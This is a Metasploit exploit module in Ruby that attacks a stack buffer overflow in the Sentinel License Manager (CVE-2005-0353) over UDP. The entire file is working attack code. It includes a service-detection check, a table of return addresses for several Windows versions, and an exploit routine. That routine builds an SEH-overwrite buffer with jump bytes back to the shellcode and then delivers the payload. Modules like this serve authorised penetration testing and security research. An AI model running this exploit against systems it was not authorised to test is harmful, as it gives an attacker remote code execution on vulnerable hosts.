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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Udp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'SentinelLM UDP Buffer Overflow',
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        'Description' => %q{
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          This module exploits a simple stack buffer overflow in the Sentinel
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          License Manager. The SentinelLM service is installed with a
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          wide selection of products and seems particular popular with
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          academic products. If the wrong target value is selected,
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          the service will crash and not restart.
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        },
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        'Author' => [ 'hdm' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2005-0353'],
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          [ 'OSVDB', '14605'],
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          [ 'BID', '12742'],
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        ],
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        'Privileged' => true,
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        'DefaultOptions' => {
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          'EXITFUNC' => 'process',
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        },
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        'Payload' => {
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          'Space' => 800,
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          'BadChars' => "\x00\x20",
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          ['SentinelLM 7.2.0.0 Windows NT 4.0 SP4/SP5/SP6', { 'Ret' => 0x77681799 }], # ws2help.dll
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          ['SentinelLM 7.2.0.0 Windows 2000 English', { 'Ret' => 0x75022ac4 }], # ws2help.dll
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          ['SentinelLM 7.2.0.0 Windows 2000 German', { 'Ret' => 0x74fa1887 }], # ws2help.dll
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          ['SentinelLM 7.2.0.0 Windows XP English SP0/SP1', { 'Ret' => 0x71aa32ad }], # ws2help.dll
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          ['SentinelLM 7.2.0.0 Windows 2003 English SP0', { 'Ret' => 0x7ffc0638 }], # peb
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        ],
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        'DisclosureDate' => '2005-03-07',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(5093)
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      ]
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    )
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  end
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  def check
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    connect_udp
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    udp_sock.put("\x7a\x00\x00\x00\x00\x00")
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    res = udp_sock.recvfrom(8192)
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    disconnect_udp
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    if (res and res[0] == 0x7a)
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      return Exploit::CheckCode::Detected
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    connect_udp
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    # Payload goes first
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    buf = payload.encoded + rand_text_english(2048 - payload.encoded.length)
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    # Return to a pop/pop/ret via SEH
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    buf[836, 4] = [target.ret].pack('V')
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    # The pop/pop/ret takes us here, jump back 5 bytes
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    buf[832, 2] = "\xeb\xf9"
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    # Now jump all the way back to our shellcode
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    buf[827, 5] = "\xe9" + [-829].pack('V')
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    udp_sock.put(buf)
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    udp_sock.recvfrom(8192)
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    handler
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    disconnect_udp
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  end
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end
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